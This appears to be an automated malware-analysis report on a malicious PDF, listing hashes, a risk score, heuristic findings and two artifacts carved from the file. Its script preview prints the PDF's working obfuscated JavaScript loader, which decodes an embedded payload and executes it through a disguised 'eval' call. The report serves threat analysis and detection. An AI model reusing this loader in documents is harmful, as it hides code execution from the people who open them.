PDF malware analysis — malicious · bbea0bde17fb1088

MALICIOUS

PDF

4.6 KB First seen: 2013-06-27

MD5: 86aba0d4b4c5e978bc617573bf6683ae SHA-1: 4e0d482cc1736b6699ea4403ffc4698689a74066 SHA-256: bbea0bde17fb10885aca7130527b0eebd723c12256365be59e8fd33eb6ef8854

76 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 Malicious File: Malicious File

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. This JavaScript is likely intended to download and execute a secondary payload, as suggested by the embedded file artifact. The document body content is not human-readable and does not provide further context. The overall attack pattern is consistent with a malicious document designed to exploit user interaction to deliver further malware.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 5

Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH

A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded file low PDF_EMBEDDED

PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_file_obj0013.bin`	pdf-embedded-file	PDF EmbeddedFile object 13 at offset 0x482	79747 bytes
SHA-256: `c7a40bebbf831601258eda41e839d0732dce950d197373932e66aa179296fce9`
Detection ClamAV: No threats found Obfuscation or payload: likely 264 of 264 identifiers look randomly generated (e.g. 'znuyZAFOdGkcjxJ31znuyZAFOdGkcjxJ32znuyZA') — consistent with name-mangling obfuscation. Carved artifact contains 101 long base64-like blob(s).
`javascript_obj0008_000.js`	pdf-javascript-stream	PDF /JS object 8 at offset 0x224	230 bytes
SHA-256: `30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e`
Preview script First 1,000 lines of the extracted script zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){ zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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